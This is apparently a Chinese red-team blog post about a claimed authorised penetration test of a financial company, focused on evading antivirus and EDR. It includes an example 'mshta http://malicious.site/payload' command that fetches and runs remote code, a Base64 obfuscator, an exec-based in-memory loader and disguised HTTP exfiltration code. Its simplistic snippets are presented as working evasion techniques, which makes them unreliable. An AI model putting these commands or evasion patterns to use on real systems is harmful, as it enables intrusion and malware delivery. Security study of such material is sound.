一、一个真实渗透案例的开始

合法声明:本文仅限授权安全测试,供安全研究人员学习,严禁用于非法用途。

在某次授权的企业渗透测试中,我和团队接到了一个挑战:攻破一家金融公司的内网,获取对其核心数据库的访问权限。我们知道这样的目标经过了严格的安全防护,AV和EDR层层把关,但我们决心找到一条路,通过免杀技术突破重围。

这个案例的开端是在一次暴露的Web应用扫描中,我们发现了一处有潜在SQL注入风险的页面。通过这次突破,我们得到了有限的访问权限,于是决定展开一场更深层次的攻击行动。

二、免杀技术的魔法工坊

要想顺利横向移动,我们的首要任务就是避开目标的检测系统。传统的攻击载荷很容易被杀毒软件识别并拦截,因此我们需要对这些恶意载荷进行免杀处理。

工具选择

我们首先选择了Cobalt Strike作为我们的攻击平台,其强大的团队协作功能和灵活的Payload生成能力,使得它成为我们进行免杀处理的首选工具。结合Metasploit和自写代码,我们制定了一套独特的免杀方案。

载荷混淆

免杀的第一步是对Payload进行混淆。混淆的目的在于扰乱杀毒软件的特征匹配。以下是我们使用Python实现的一个简单的混淆脚本示例:

<pre><code class="language-python">import base64

def obfuscate_payload(payload):

简单的Base64混淆

encoded = base64.b64encode(payload.encode(&#039;utf-8&#039;)) return encoded.decode(&#039;utf-8&#039;)

original_payload = &quot;mshta http://malicious.site/payload&quot; obfuscated_payload = obfuscate_payload(original_payload) print(f&quot;Obfuscated Payload: {obfuscated_payload}&quot;)</code></pre>

黑客示意图

上述代码通过Base64对载荷进行了简单的加密,使得其在静态检测时难以识别。

三、隐匿之术:内存技术

当我们将载荷混淆之后,下一步就是如何在内存中执行而不被察觉。现代EDR的一个显著特点是对内存的全面扫描,为此,我们需要将恶意代码完全加载到内存中,并避免落地硬盘。

分段加载技术

黑客示意图

通过对内存分段加载,我们可以将完整的Payload分成多个部分,单独加载并组装。这种技术通常会结合一些加密来进一步增强隐蔽性。

<pre><code class="language-python">def load_in_memory(encoded_payload):

以某种方式解码并执行

decoded = base64.b64decode(encoded_payload)

这里是伪代码,实际需要使用高级技术来执行

exec(decoded)

load_in_memory(obfuscated_payload)</code></pre>

上面的代码只是一个简化的示例,实际操作中会使用更复杂的加密和加载机制,以确保在内存中的执行无法轻易被检测。

四、流量的伪装与模糊

在内网横向移动时,我们不仅要隐匿载荷,还要伪装我们的网络流量。传统的攻击流量一旦被IDS/IPS捕获,会触发警报。我们必须做到与正常流量无异。

协议伪装

一种常用的技术是将恶意流量伪装成正常的HTTP或DNS请求。通过对流量进行分包并混入正常请求中,我们可以有效降低被检测的概率。

<pre><code class="language-python">import requests

def send_disguised_payload(url, payload): headers = { &#039;User-Agent&#039;: &#039;Mozilla/5.0&#039;, &#039;Content-Type&#039;: &#039;application/x-www-form-urlencoded&#039; }

伪装的HTTP POST请求

response = requests.post(url, data={&#039;query&#039;: payload}, headers=headers) print(f&quot;Response Status Code: {response.status_code}&quot;)

黑客示意图

send_disguised_payload(&quot;http://legitimate.site/api&quot;, obfuscated_payload)</code></pre>

通过这样的伪装,我们的攻击流量看起来就像正常的API请求,极大地提高了我们行动的隐蔽性。

五、EDR/AV对抗:终极幻影

即使我们已经在流量和载荷上做了很多努力,EDR系统依然是我们最大的敌人。为了最终绕过这些检测,我们需要一些更高级的技巧。

针对性特征规避

不同的EDR厂商有不同的检测机制,我们可以通过对其特征的研究,找到其检测盲区。例如,通过动态分析AV的规则,设计出特定的字符串和行为模式来规避。

<pre><code class="language-bash"># 一个简单的Shell脚本示例,进行特征规避 touch /tmp/safe_file.txt

向文件中写入特定内容,规避EDR检测

echo &quot;Non-malicious content&quot; &gt; /tmp/safe_file.txt</code></pre>

此类技术需要极高的技术背景和大量的实验,但一旦成功,将让我们的攻击手段更加灵活和难以追踪。

黑客示意图

六、从攻防战中学习

这次挑战不仅让我在技术上得到了提升,也让我深刻认识到攻防的艺术。免杀技术并不是简单的工具使用,更是一种思维的升华。我们最终成功获取了目标数据库的访问权限,并完整记录了整个过程,为企业提供了详细的安全加固建议。

经验总结

  • 深入了解目标环境:在实施免杀技术时,了解目标系统的防御机制至关重要。
  • 灵活运用多种技术:不同的目标需要不同的免杀策略,灵活运用工具和技术组合是成功的关键。
  • 持续学习与实践:攻防领域变化迅速,只有不断学习和实践,才能始终保持领先。

这场攻防战让我更加坚定了成为一名顶级红队专家的决心,也期待未来更多的挑战。希望本文可以为同样在追求卓越的你提供一些启发。